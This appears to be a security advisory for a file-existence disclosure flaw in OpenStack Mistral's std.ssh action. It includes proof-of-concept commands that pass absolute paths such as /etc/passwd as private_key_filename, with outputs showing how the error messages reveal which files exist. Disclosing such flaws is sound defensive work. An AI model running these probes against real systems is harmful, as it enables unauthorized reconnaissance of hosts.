The std.ssh action can be used to disclose the presence of arbitrary files within the filesystem of the executor running the action. Since std.ssh private_key_filename can take an absolute path, it can be used to assess whether or not a file exists on the executor's filesystem.
Upstream bug: https://bugs.launchpad.net/mistral/+bug/1783708
Example from the upstream bug: Running: mistral run-action std.ssh '{"cmd":"ls","host":"127.0.0.1","username":"root","private_key_filename":"/notthere"}' Returns: {"result": "Failed to run action [action_ex_id=None, action_cls='<class 'mistral.actions.action_factory.SSHAction'>', attributes='{}', params='{u'username': u'root', u'host': u'127.0.0.1', u'cmd': u'ls', u'private_key_filename': u'/notthere'}']\n Failed to execute ssh cmd 'ls' on [u'127.0.0.1']\nException: [Errno 2] No such file or directory: u'/notthere'"} Running: mistral run-action std.ssh '{"cmd":"ls","host":"127.0.0.1","username":"root","private_key_filename":"/etc/passwd"}' Returns: {"result": "Failed to run action [action_ex_id=None, action_cls='<class 'mistral.actions.action_factory.SSHAction'>', attributes='{}', params='{u'username': u'root', u'host': u'127.0.0.1', u'cmd': u'ls', u'private_key_filename': u'/etc/passwd'}']\n Failed to execute ssh cmd 'ls' on [u'127.0.0.1']\nException: not a valid RSA private key file"} This can help detect the nature of the underlying system: For example, to test for the presence of a Fedora release file: mistral run-action std.ssh '{"cmd":"ls","host":"127.0.0.1","username":"root","private_key_filename":"/etc/fedora-release"}' {"result": "Failed to run action [action_ex_id=None, action_cls='<class 'mistral.actions.action_factory.SSHAction'>', attributes='{}', params='{u'username': u'root', u'host': u'127.0.0.1', u'cmd': u'ls', u'private_key_filename': u'/etc/fedora-release'}']\n Failed to execute ssh cmd 'ls' on [u'127.0.0.1']\nException: not a valid RSA private key file"}
Acknowledgments: Name: the Mistral project